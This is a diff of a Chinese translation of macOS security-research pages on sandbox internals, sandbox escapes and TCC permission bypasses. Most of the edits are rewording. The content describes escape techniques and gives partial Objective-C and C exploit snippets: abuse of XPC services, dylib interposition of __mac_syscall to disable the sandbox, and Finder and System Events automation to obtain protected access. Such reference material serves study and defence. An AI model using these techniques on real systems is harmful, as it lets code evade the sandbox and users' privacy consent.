||||
|
||||
### App Store 应用中的自定义 SBPL
|
||||
|
||||
公司可能会使其应用程序 **使用自定义沙箱配置文件**(而不是默认配置文件)。他们需要使用权限 **`com.apple.security.temporary-exception.sbpl`**,该权限需要得到苹果的授权。
|
||||
公司可能会使其应用程序 **使用自定义沙箱配置文件**(而不是默认配置文件)。他们需要使用权限 **`com.apple.security.temporary-exception.sbpl`**,该权限需要得到 Apple 的授权。
|
||||
|
||||
可以在 **`/System/Library/Sandbox/Profiles/application.sb:`** 中检查该权限的定义。
|
||||
可以在 **`/System/Library/Sandbox/Profiles/application.sb:`** 中检查此权限的定义。
|
||||
```scheme
|
||||
(sandbox-array-entitlement
|
||||
"com.apple.security.temporary-exception.sbpl"
|
||||
@ -259,15 +259,15 @@ MacOS 将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/**
|
||||
|
||||
**`sandbox-exec`** 工具使用 `libsandbox.dylib` 中的 `sandbox_compile_*` 函数。导出的主要函数有:`sandbox_compile_file`(期望文件路径,参数 `-f`),`sandbox_compile_string`(期望字符串,参数 `-p`),`sandbox_compile_name`(期望容器名称,参数 `-n`),`sandbox_compile_entitlements`(期望权限 plist)。
|
||||
|
||||
这个反向和[**开源版本的工具 sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) 允许 **`sandbox-exec`** 将编译的沙箱配置文件写入文件。
|
||||
这个反向和[**开源版本的工具 sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) 允许 **`sandbox-exec`** 将编译的沙箱配置文件写入文件中。
|
||||
|
||||
此外,为了将进程限制在容器内,它可能会调用 `sandbox_spawnattrs_set[container/profilename]` 并传递一个容器或现有配置文件。
|
||||
|
||||
## 调试和绕过沙箱
|
||||
|
||||
在 macOS 上,与 iOS 不同,iOS 中的进程从一开始就被内核沙箱化,**进程必须自行选择进入沙箱**。这意味着在 macOS 上,进程在主动决定进入沙箱之前不会受到沙箱的限制,尽管 App Store 应用始终是沙箱化的。
|
||||
在 macOS 上,与 iOS 不同,iOS 中的进程从一开始就被内核沙箱化,**进程必须自己选择进入沙箱**。这意味着在 macOS 上,进程在主动决定进入沙箱之前不会受到沙箱的限制,尽管 App Store 应用始终是沙箱化的。
|
||||
|
||||
如果进程具有权限 `com.apple.security.app-sandbox`,则在启动时会自动从用户空间沙箱化。有关此过程的详细说明,请查看:
|
||||
如果进程具有权限:`com.apple.security.app-sandbox`,则在启动时会自动从用户空间沙箱化。有关此过程的详细说明,请查看:
|
||||
|
||||
{{#ref}}
|
||||
macos-sandbox-debug-and-bypass/
|
||||
@ -294,7 +294,7 @@ macos-sandbox-debug-and-bypass/
|
||||
|
||||
### **检查 PID 权限**
|
||||
|
||||
[**根据这个**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s),**`sandbox_check`** 函数(它是一个 `__mac_syscall`)可以检查**某个 PID、审计令牌或唯一 ID 是否允许某个操作**。
|
||||
[**根据这个**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s),**`sandbox_check`** 函数(它是一个 `__mac_syscall`)可以检查**在特定 PID、审计令牌或唯一 ID 下某个操作是否被沙箱允许**。
|
||||
|
||||
[**工具 sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c)(在[这里编译](https://newosxbook.com/articles/hitsb.html))可以检查某个 PID 是否可以执行某些操作:
|
||||
```bash
|
||||
@ -317,13 +317,13 @@ sbtool <pid> all
|
||||
|
||||
此系统调用 (#381) 期望第一个参数为一个字符串,指示要运行的模块,然后第二个参数为一个代码,指示要运行的函数。第三个参数将取决于执行的函数。
|
||||
|
||||
函数 `___sandbox_ms` 调用封装了 `mac_syscall`,在第一个参数中指示 `"Sandbox"`,就像 `___sandbox_msp` 是 `mac_set_proc` (#387) 的封装一样。然后,`___sandbox_ms` 支持的一些代码可以在下表中找到:
|
||||
函数 `___sandbox_ms` 调用包装了 `mac_syscall`,在第一个参数中指示 `"Sandbox"`,就像 `___sandbox_msp` 是 `mac_set_proc` (#387) 的包装器一样。然后,`___sandbox_ms` 支持的一些代码可以在此表中找到:
|
||||
|
||||
- **set_profile (#0)**: 将编译或命名的配置文件应用于进程。
|
||||
- **platform_policy (#1)**: 强制执行特定于平台的策略检查(在 macOS 和 iOS 之间有所不同)。
|
||||
- **check_sandbox (#2)**: 执行特定沙箱操作的手动检查。
|
||||
- **note (#3)**: 向沙箱添加注释。
|
||||
- **container (#4)**: 将注释附加到沙箱,通常用于调试或识别。
|
||||
- **container (#4)**: 向沙箱附加注释,通常用于调试或识别。
|
||||
- **extension_issue (#5)**: 为进程生成新扩展。
|
||||
- **extension_consume (#6)**: 消耗给定的扩展。
|
||||
- **extension_release (#7)**: 释放与已消耗扩展相关的内存。
|
||||
@ -345,30 +345,30 @@ sbtool <pid> all
|
||||
- **rootless_allows_task_for_pid (#30)**: 验证是否允许 `task_for_pid`(类似于 `csr` 检查)。
|
||||
- **rootless_whitelist_push (#31)**: (macOS)应用系统完整性保护(SIP)清单文件。
|
||||
- **rootless_whitelist_check (preflight) (#32)**: 在执行之前检查 SIP 清单文件。
|
||||
- **rootless_protected_volume (#33)**: (macOS)将 SIP 保护应用于磁盘或分区。
|
||||
- **rootless_mkdir_protected (#34)**: 将 SIP/DataVault 保护应用于目录创建过程。
|
||||
- **rootless_protected_volume (#33)**: (macOS)对磁盘或分区应用 SIP 保护。
|
||||
- **rootless_mkdir_protected (#34)**: 对目录创建过程应用 SIP/DataVault 保护。
|
||||
|
||||
## Sandbox.kext
|
||||
|
||||
请注意,在 iOS 中,内核扩展包含 **硬编码的所有配置文件**,以避免被修改。以下是内核扩展中的一些有趣函数:
|
||||
|
||||
- **`hook_policy_init`**: 它挂钩 `mpo_policy_init`,并在 `mac_policy_register` 之后被调用。它执行沙箱的大部分初始化。它还初始化 SIP。
|
||||
- **`hook_policy_initbsd`**: 它设置 sysctl 接口,注册 `security.mac.sandbox.sentinel`、`security.mac.sandbox.audio_active` 和 `security.mac.sandbox.debug_mode`(如果与 `PE_i_can_has_debugger` 一起引导)。
|
||||
- **`hook_policy_init`**: 它钩住 `mpo_policy_init`,并在 `mac_policy_register` 之后调用。它执行沙箱的大部分初始化。它还初始化 SIP。
|
||||
- **`hook_policy_initbsd`**: 它设置 sysctl 接口,注册 `security.mac.sandbox.sentinel`、`security.mac.sandbox.audio_active` 和 `security.mac.sandbox.debug_mode`(如果以 `PE_i_can_has_debugger` 启动)。
|
||||
- **`hook_policy_syscall`**: 它由 `mac_syscall` 调用,第一个参数为 "Sandbox",第二个参数为指示操作的代码。使用 switch 来根据请求的代码查找要运行的代码。
|
||||
|
||||
### MACF Hooks
|
||||
|
||||
**`Sandbox.kext`** 通过 MACF 使用了超过一百个钩子。大多数钩子只会检查一些微不足道的情况,如果允许执行该操作,则会调用 **`cred_sb_evalutate`**,并传入来自 MACF 的 **凭据** 和一个对应于要执行的 **操作** 的数字,以及一个用于输出的 **缓冲区**。
|
||||
|
||||
一个很好的例子是函数 **`_mpo_file_check_mmap`**,它挂钩了 **`mmap`**,并将开始检查新内存是否可写(如果不可写则允许执行),然后检查它是否用于 dyld 共享缓存,如果是,则允许执行,最后调用 **`sb_evaluate_internal`**(或其一个封装)以执行进一步的允许检查。
|
||||
一个很好的例子是函数 **`_mpo_file_check_mmap`**,它钩住了 **`mmap`**,并将开始检查新内存是否可写(如果不可写则允许执行),然后检查它是否用于 dyld 共享缓存,如果是,则允许执行,最后调用 **`sb_evaluate_internal`**(或其包装器之一)以执行进一步的允许检查。
|
||||
|
||||
此外,在沙箱使用的数百个钩子中,有三个特别有趣:
|
||||
|
||||
- `mpo_proc_check_for`: 如果需要并且之前未应用,则应用配置文件。
|
||||
- `mpo_vnode_check_exec`: 当进程加载相关二进制文件时调用,然后执行配置文件检查,并检查禁止 SUID/SGID 执行。
|
||||
- `mpo_cred_label_update_execve`: 当分配标签时调用。这是最长的一个,因为它在二进制文件完全加载但尚未执行时调用。它将执行诸如创建沙箱对象、将沙箱结构附加到 kauth 凭据、移除对 mach 端口的访问等操作。
|
||||
- `mpo_cred_label_update_execve`: 当标签被分配时调用。这是最长的一个,因为它在二进制文件完全加载但尚未执行时调用。它将执行诸如创建沙箱对象、将沙箱结构附加到 kauth 凭据、移除对 mach 端口的访问等操作。
|
||||
|
||||
请注意 **`_cred_sb_evalutate`** 是 **`sb_evaluate_internal`** 的封装,该函数获取传入的凭据,然后使用 **`eval`** 函数执行评估,该函数通常评估默认应用于所有进程的 **平台配置文件**,然后是 **特定进程配置文件**。请注意,平台配置文件是 **SIP** 在 macOS 中的主要组成部分之一。
|
||||
请注意,**`_cred_sb_evalutate`** 是 **`sb_evaluate_internal`** 的包装器,该函数获取传递的凭据,然后使用 **`eval`** 函数执行评估,该函数通常评估默认应用于所有进程的 **平台配置文件**,然后是 **特定进程配置文件**。请注意,平台配置文件是 **SIP** 在 macOS 中的主要组成部分之一。
|
||||
|
||||
## Sandboxd
|
||||
|
||||
|
||||
@ -6,18 +6,18 @@
|
||||
|
||||
<figure><img src="../../../../../images/image (901).png" alt=""><figcaption><p>图片来自 <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
|
||||
|
||||
在前面的图像中,可以观察到 **沙箱将如何加载** 当一个具有 **`com.apple.security.app-sandbox`** 权限的应用程序运行时。
|
||||
在前面的图像中,可以观察到 **沙箱将如何加载** 当运行具有权限 **`com.apple.security.app-sandbox`** 的应用程序时。
|
||||
|
||||
编译器将链接 `/usr/lib/libSystem.B.dylib` 到二进制文件。
|
||||
|
||||
然后,**`libSystem.B`** 将调用其他几个函数,直到 **`xpc_pipe_routine`** 将应用程序的权限发送到 **`securityd`**。Securityd 检查该进程是否应该在沙箱内被隔离,如果是,它将被隔离。\
|
||||
然后,**`libSystem.B`** 将调用其他几个函数,直到 **`xpc_pipe_routine`** 将应用程序的权限发送到 **`securityd`**。Securityd 检查该进程是否应该在沙箱内进行隔离,如果是,它将被隔离。\
|
||||
最后,沙箱将通过调用 **`__sandbox_ms`** 激活,该调用将调用 **`__mac_syscall`**。
|
||||
|
||||
## Possible Bypasses
|
||||
## 可能的绕过方法
|
||||
|
||||
### Bypassing quarantine attribute
|
||||
### 绕过隔离属性
|
||||
|
||||
**沙箱进程创建的文件** 会附加 **隔离属性** 以防止沙箱逃逸。然而,如果你能够 **在沙箱应用程序内创建一个没有隔离属性的 `.app` 文件夹**,你可以使应用程序包的二进制文件指向 **`/bin/bash`** 并在 **plist** 中添加一些环境变量,以利用 **`open`** 来 **启动新的未沙箱应用程序**。
|
||||
**沙箱进程创建的文件** 会附加 **隔离属性** 以防止沙箱逃逸。然而,如果你设法在沙箱应用程序内 **创建一个没有隔离属性的 `.app` 文件夹**,你可以使应用程序包的二进制文件指向 **`/bin/bash`** 并在 **plist** 中添加一些环境变量,以利用 **`open`** 来 **启动新的未沙箱应用程序**。
|
||||
|
||||
这就是在 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)** 中所做的。**
|
||||
|
||||
@ -26,42 +26,42 @@
|
||||
>
|
||||
> 请注意,如果一个 .app 包已经被授权运行(它具有带有授权运行标志的隔离 xttr),你也可以利用它……只是现在你不能在 **`.app`** 包内写入,除非你拥有一些特权 TCC 权限(在高沙箱内你将没有这些权限)。
|
||||
|
||||
### Abusing Open functionality
|
||||
### 利用 Open 功能
|
||||
|
||||
在 [**Word 沙箱绕过的最后示例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) 中可以看到如何滥用 **`open`** CLI 功能来绕过沙箱。
|
||||
在 [**Word 沙箱绕过的最后示例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) 中可以看到如何利用 **`open`** CLI 功能来绕过沙箱。
|
||||
|
||||
{{#ref}}
|
||||
macos-office-sandbox-bypasses.md
|
||||
{{#endref}}
|
||||
|
||||
### Launch Agents/Daemons
|
||||
### 启动代理/守护进程
|
||||
|
||||
即使一个应用程序 **旨在被沙箱化** (`com.apple.security.app-sandbox`),如果它是 **从 LaunchAgent 执行**(例如 `~/Library/LaunchAgents`),也可以绕过沙箱。\
|
||||
即使一个应用程序 **旨在被沙箱化** (`com.apple.security.app-sandbox`),如果它 **从 LaunchAgent 执行**(例如 `~/Library/LaunchAgents`),也可以绕过沙箱。\
|
||||
正如在 [**这篇文章**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) 中所解释的,如果你想要在一个沙箱应用程序中获得持久性,你可以使其作为 LaunchAgent 自动执行,并可能通过 DyLib 环境变量注入恶意代码。
|
||||
|
||||
### Abusing Auto Start Locations
|
||||
### 利用自动启动位置
|
||||
|
||||
如果一个沙箱进程可以 **写入** 一个 **稍后将运行二进制文件的未沙箱应用程序** 的位置,它将能够 **通过将二进制文件放置在那里** 来逃离沙箱。这种位置的一个好例子是 `~/Library/LaunchAgents` 或 `/System/Library/LaunchDaemons`。
|
||||
如果一个沙箱进程可以 **写入** 一个 **稍后将运行二进制文件的未沙箱应用程序** 的位置,它将能够 **通过将二进制文件放置在那里** 来逃离。此类位置的一个好例子是 `~/Library/LaunchAgents` 或 `/System/Library/LaunchDaemons`。
|
||||
|
||||
为此,你可能需要 **2 步**:使一个具有 **更宽松沙箱** (`file-read*`, `file-write*`) 的进程执行你的代码,该代码实际上将在一个 **未沙箱的地方执行**。
|
||||
为此,你可能需要 **2 步**:使一个具有 **更宽松沙箱** (`file-read*`, `file-write*`) 的进程执行你的代码,该代码实际上将在一个 **未沙箱执行** 的位置写入。
|
||||
|
||||
查看关于 **自动启动位置** 的页面:
|
||||
查看此页面关于 **自动启动位置**:
|
||||
|
||||
{{#ref}}
|
||||
../../../../macos-auto-start-locations.md
|
||||
{{#endref}}
|
||||
|
||||
### Abusing other processes
|
||||
### 利用其他进程
|
||||
|
||||
如果从沙箱进程中你能够 **妥协其他在较少限制沙箱(或没有沙箱)中运行的进程**,你将能够逃离它们的沙箱:
|
||||
如果从沙箱进程中你能够 **破坏其他在限制较少的沙箱中运行的进程**(或没有沙箱),你将能够逃离它们的沙箱:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-proces-abuse/
|
||||
{{#endref}}
|
||||
|
||||
### Available System and User Mach services
|
||||
### 可用的系统和用户 Mach 服务
|
||||
|
||||
沙箱还允许通过在配置文件 `application.sb` 中定义的 XPC 与某些 **Mach 服务** 进行通信。如果你能够 **滥用** 其中一个服务,你可能能够 **逃离沙箱**。
|
||||
沙箱还允许通过在配置文件 `application.sb` 中定义的 XPC 与某些 **Mach 服务** 进行通信。如果你能够 **利用** 其中一个服务,你可能能够 **逃离沙箱**。
|
||||
|
||||
正如在 [这篇文章](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) 中所指出的,关于 Mach 服务的信息存储在 `/System/Library/xpc/launchd.plist` 中。可以通过在该文件中搜索 `<string>System</string>` 和 `<string>User</string>` 来找到所有系统和用户 Mach 服务。
|
||||
|
||||
@ -90,15 +90,15 @@ checkService(serviceName.UTF8String);
|
||||
```
|
||||
### 可用的 PID Mach 服务
|
||||
|
||||
这些 Mach 服务最初被滥用以 [在这篇文章中逃离沙盒](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)。那时,**应用程序及其框架所需的所有 XPC 服务**在应用程序的 PID 域中都是可见的(这些是 `ServiceType` 为 `Application` 的 Mach 服务)。
|
||||
这些 Mach 服务最初被滥用以 [逃离沙盒在这篇文章中](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)。那时,**应用程序及其框架所需的所有 XPC 服务**都在应用程序的 PID 域中可见(这些是 `ServiceType` 为 `Application` 的 Mach 服务)。
|
||||
|
||||
为了 **联系一个 PID 域 XPC 服务**,只需在应用程序中注册它,使用如下代码:
|
||||
```objectivec
|
||||
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
|
||||
```
|
||||
此外,可以通过在 `System/Library/xpc/launchd.plist` 中搜索 `<string>Application</string>` 来找到所有的 **Application** Mach 服务。
|
||||
此外,可以通过在 `System/Library/xpc/launchd.plist` 中搜索 `<string>Application</string>` 来找到所有 **Application** Mach 服务。
|
||||
|
||||
找到有效的 xpc 服务的另一种方法是检查以下服务:
|
||||
找到有效的 xpc 服务的另一种方法是检查以下内容:
|
||||
```bash
|
||||
find /System/Library/Frameworks -name "*.xpc"
|
||||
find /System/Library/PrivateFrameworks -name "*.xpc"
|
||||
@ -130,11 +130,11 @@ NSLog(@"run task result:%@, error:%@", bSucc, error);
|
||||
```
|
||||
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
|
||||
|
||||
这个 XPC 服务允许每个客户端始终返回 YES,方法 `createZipAtPath:hourThreshold:withReply:` 基本上允许指示要压缩的文件夹路径,并将其压缩为 ZIP 文件。
|
||||
这个 XPC 服务允许每个客户端总是返回 YES,方法 `createZipAtPath:hourThreshold:withReply:` 基本上允许指示要压缩的文件夹路径,并将其压缩为 ZIP 文件。
|
||||
|
||||
因此,可以生成一个虚假的应用程序文件夹结构,压缩它,然后解压并执行,以逃离沙盒,因为新文件将没有隔离属性。
|
||||
|
||||
利用的漏洞是:
|
||||
漏洞是:
|
||||
```objectivec
|
||||
@protocol AudioAnalyticsHelperServiceProtocol
|
||||
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
|
||||
@ -173,7 +173,7 @@ break;
|
||||
```
|
||||
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
|
||||
|
||||
此 XPC 服务允许通过方法 `extendAccessToURL:completion:` 为 XPC 客户端提供对任意 URL 的读写访问,该方法接受任何连接。由于 XPC 服务具有 FDA,因此可以滥用这些权限以完全绕过 TCC。
|
||||
这个 XPC 服务允许通过方法 `extendAccessToURL:completion:` 为 XPC 客户端提供对任意 URL 的读写访问,该方法接受任何连接。由于 XPC 服务具有 FDA,因此可以滥用这些权限以完全绕过 TCC。
|
||||
|
||||
漏洞是:
|
||||
```objectivec
|
||||
@ -205,7 +205,7 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
|
||||
```
|
||||
### 静态编译与动态链接
|
||||
|
||||
[**这项研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) 发现了绕过沙箱的两种方法。因为沙箱是在用户空间中应用的,当 **libSystem** 库被加载时。如果一个二进制文件能够避免加载它,它将永远不会被沙箱化:
|
||||
[**这项研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) 发现了绕过沙箱的两种方法。因为沙箱是在用户空间中加载 **libSystem** 库时应用的。如果一个二进制文件能够避免加载它,它将永远不会被沙箱化:
|
||||
|
||||
- 如果二进制文件是 **完全静态编译** 的,它可以避免加载该库。
|
||||
- 如果 **二进制文件不需要加载任何库**(因为链接器也在 libSystem 中),它就不需要加载 libSystem。
|
||||
@ -236,7 +236,7 @@ open /tmp/poc.app
|
||||
|
||||
### 权限
|
||||
|
||||
请注意,即使某些 **操作** 可能在沙箱中 **被允许**,如果应用程序具有特定的 **权限**,例如:
|
||||
请注意,即使某些**操作**可能在沙箱中被**允许**,如果应用程序具有特定的**权限**,例如:
|
||||
```scheme
|
||||
(when (entitlement "com.apple.security.network.client")
|
||||
(allow network-outbound (remote ip))
|
||||
@ -250,6 +250,7 @@ open /tmp/poc.app
|
||||
|
||||
有关 **Interposting** 的更多信息,请查看:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-proces-abuse/macos-function-hooking.md
|
||||
{{#endref}}
|
||||
@ -278,7 +279,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
||||
_libsecinit_initializer called
|
||||
Sandbox Bypassed!
|
||||
```
|
||||
#### 插入 `__mac_syscall` 以防止沙盒
|
||||
#### 通过 `__mac_syscall` 进行插桩以防止沙盒
|
||||
```c:interpose.c
|
||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||
|
||||
@ -324,7 +325,7 @@ Sandbox Bypassed!
|
||||
```
|
||||
### 使用 lldb 调试和绕过沙箱
|
||||
|
||||
让我们编译一个应该被沙箱化的应用程序:
|
||||
让我们编译一个应该被沙箱保护的应用程序:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="sand.c"}}
|
||||
@ -372,7 +373,7 @@ gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.pli
|
||||
codesign -s <cert-name> --entitlements entitlements.xml sand
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 该应用程序将尝试**读取**文件**`~/Desktop/del.txt`**,而**Sandbox 不会允许**。\
|
||||
> 应用程序将尝试 **读取** 文件 **`~/Desktop/del.txt`**,而 **Sandbox 不允许**。\
|
||||
> 在那里创建一个文件,因为一旦绕过 Sandbox,它将能够读取它:
|
||||
>
|
||||
> ```bash
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**TCC (透明性、同意和控制)** 是一种安全协议,专注于规范应用程序权限。其主要作用是保护敏感功能,如 **位置服务、联系人、照片、麦克风、相机、辅助功能和完整磁盘访问**。通过在授予应用程序访问这些元素之前要求明确的用户同意,TCC 增强了隐私和用户对其数据的控制。
|
||||
**TCC (透明性、同意和控制)** 是一个安全协议,专注于规范应用程序权限。其主要作用是保护敏感功能,如 **位置服务、联系人、照片、麦克风、相机、辅助功能和完整磁盘访问**。通过在授予应用程序访问这些元素之前要求用户明确同意,TCC 增强了隐私和用户对其数据的控制。
|
||||
|
||||
当应用程序请求访问受保护的功能时,用户会遇到 TCC。这通过一个提示可见,允许用户 **批准或拒绝访问**。此外,TCC 还支持直接用户操作,例如 **将文件拖放到应用程序中**,以授予对特定文件的访问,确保应用程序仅访问明确允许的内容。
|
||||
当应用程序请求访问受保护的功能时,用户会遇到 TCC。这通过一个提示可见,允许用户 **批准或拒绝访问**。此外,TCC 还支持用户的直接操作,例如 **将文件拖放到应用程序中**,以授予对特定文件的访问,确保应用程序仅访问明确允许的内容。
|
||||
|
||||

|
||||
|
||||
@ -44,7 +44,7 @@ ps -ef | grep tcc
|
||||
> [!TIP]
|
||||
> **iOS** 中的 TCC 数据库在 **`/private/var/mobile/Library/TCC/TCC.db`**。
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> **通知中心 UI** 可以对**系统 TCC 数据库**进行**更改**:
|
||||
>
|
||||
> ```bash
|
||||
@ -105,14 +105,14 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||
> 检查两个数据库,您可以查看应用程序允许、禁止或没有的权限(它会请求权限)。
|
||||
|
||||
- **`service`** 是 TCC **权限** 的字符串表示
|
||||
- **`client`** 是具有权限的 **bundle ID** 或 **二进制文件路径**
|
||||
- **`client`** 是具有权限的 **bundle ID** 或 **二进制路径**
|
||||
- **`client_type`** 指示它是 Bundle Identifier(0) 还是绝对路径(1)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>如果是绝对路径,如何执行</summary>
|
||||
|
||||
只需执行 **`launctl load you_bin.plist`**,使用如下 plist:
|
||||
只需执行 **`launctl load you_bin.plist`**,plist 如下:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -174,7 +174,7 @@ echo "X'$REQ_HEX'"
|
||||
您还可以在`System Preferences --> Security & Privacy --> Privacy --> Files and Folders`中检查**已授予的权限**。
|
||||
|
||||
> [!TIP]
|
||||
> 用户 _可以_ **使用 `tccutil` 删除或查询规则**。
|
||||
> 用户_可以_使用**`tccutil`** **删除或查询规则**。
|
||||
|
||||
#### 重置 TCC 权限
|
||||
```bash
|
||||
@ -186,7 +186,7 @@ tccutil reset All
|
||||
```
|
||||
### TCC 签名检查
|
||||
|
||||
TCC **数据库** 存储应用程序的 **Bundle ID**,但它还 **存储** **信息** 关于 **签名** 以 **确保** 请求使用权限的应用程序是正确的。
|
||||
TCC **数据库** 存储应用程序的 **Bundle ID**,但它还 **存储** **信息** 关于 **签名** 以 **确保** 请求使用权限的应用是正确的。
|
||||
```bash
|
||||
# From sqlite
|
||||
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
||||
@ -199,14 +199,14 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
|
||||
```
|
||||
> [!WARNING]
|
||||
> 因此,使用相同名称和捆绑 ID 的其他应用程序将无法访问授予其他应用程序的权限。
|
||||
> 因此,使用相同名称和包 ID 的其他应用程序将无法访问授予其他应用程序的权限。
|
||||
|
||||
### 权限与 TCC 权限
|
||||
|
||||
应用程序 **不仅需要** **请求** 并且已经 **获得访问** 某些资源的权限,它们还需要 **拥有相关的权限**。\
|
||||
例如 **Telegram** 拥有权限 `com.apple.security.device.camera` 来请求 **访问相机**。一个 **没有** 这个 **权限的应用** 将无法访问相机(用户甚至不会被询问权限)。
|
||||
|
||||
然而,对于应用程序 **访问** 某些用户文件夹,例如 `~/Desktop`、`~/Downloads` 和 `~/Documents`,它们 **不需要** 任何特定的 **权限**。系统将透明地处理访问并 **根据需要提示用户**。
|
||||
然而,对于应用程序 **访问** 某些用户文件夹,如 `~/Desktop`、`~/Downloads` 和 `~/Documents`,它们 **不需要** 任何特定的 **权限**。系统将透明地处理访问并 **根据需要提示用户**。
|
||||
|
||||
苹果的应用程序 **不会生成提示**。它们在其 **权限** 列表中包含 **预先授予的权利**,这意味着它们 **永远不会生成弹出窗口**,**也** 不会出现在任何 **TCC 数据库** 中。例如:
|
||||
```bash
|
||||
@ -234,7 +234,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
|
||||
### 用户意图 / com.apple.macl
|
||||
|
||||
如前所述,可以通过将文件拖放到应用程序上来**授予应用程序对文件的访问权限**。此访问权限不会在任何 TCC 数据库中指定,而是作为文件的**扩展** **属性**。此属性将**存储允许的应用程序的 UUID**:
|
||||
如前所述,可以通过将文件拖放到应用程序上来**授予应用程序对文件的访问权限**。此访问权限不会在任何 TCC 数据库中指定,而是作为文件的**扩展****属性**。此属性将**存储允许的应用程序的 UUID**:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
@ -249,12 +249,12 @@ Filename,Header,App UUID
|
||||
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
|
||||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 有趣的是,**`com.apple.macl`** 属性是由 **Sandbox** 管理的,而不是 tccd。
|
||||
>
|
||||
> 还要注意,如果您将允许计算机上某个应用程序的 UUID 的文件移动到另一台计算机,由于同一应用程序将具有不同的 UID,它将不会授予该应用程序访问权限。
|
||||
> 还要注意,如果您将允许计算机上某个应用程序的 UUID 的文件移动到另一台计算机,由于同一应用程序将具有不同的 UID,它将无法授予该应用程序访问权限。
|
||||
|
||||
扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它是 **受 SIP 保护的**。然而,正如 [**在这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),可以通过 **压缩** 文件、**删除** 它和 **解压** 它来禁用它。
|
||||
扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它是 **受 SIP 保护的**。然而,正如 [**在这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),可以通过 **压缩** 文件、**删除** 它和 **解压缩** 它来禁用它。
|
||||
|
||||
## TCC 权限提升与绕过
|
||||
|
||||
@ -324,7 +324,7 @@ macos-apple-events.md
|
||||
|
||||
### Automation (Finder) to FDA\*
|
||||
|
||||
Automation 权限的 TCC 名称是:**`kTCCServiceAppleEvents`**\
|
||||
TCC 权限的 Automation 名称是:**`kTCCServiceAppleEvents`**\
|
||||
这个特定的 TCC 权限还指示了 **可以在 TCC 数据库中管理的应用程序**(因此权限并不允许管理所有内容)。
|
||||
|
||||
**Finder** 是一个 **始终具有 FDA** 的应用程序(即使它在 UI 中不显示),因此如果你对它拥有 **Automation** 权限,你可以滥用其权限以 **执行某些操作**。\
|
||||
@ -398,9 +398,9 @@ EOD
|
||||
|
||||
同样发生在 **Script Editor app**,它可以控制 Finder,但使用 AppleScript 你无法强制它执行脚本。
|
||||
|
||||
### 自动化 (SE) 到某些 TCC
|
||||
### Automation (SE) to some TCC
|
||||
|
||||
**系统事件可以创建文件夹操作,而文件夹操作可以访问一些 TCC 文件夹**(桌面、文档和下载),因此可以使用以下脚本来滥用这种行为:
|
||||
**System Events 可以创建文件夹操作,而文件夹操作可以访问一些 TCC 文件夹**(桌面、文档和下载),因此可以使用以下脚本来滥用此行为:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
@ -444,7 +444,7 @@ rm "$HOME/Desktop/file"
|
||||
```
|
||||
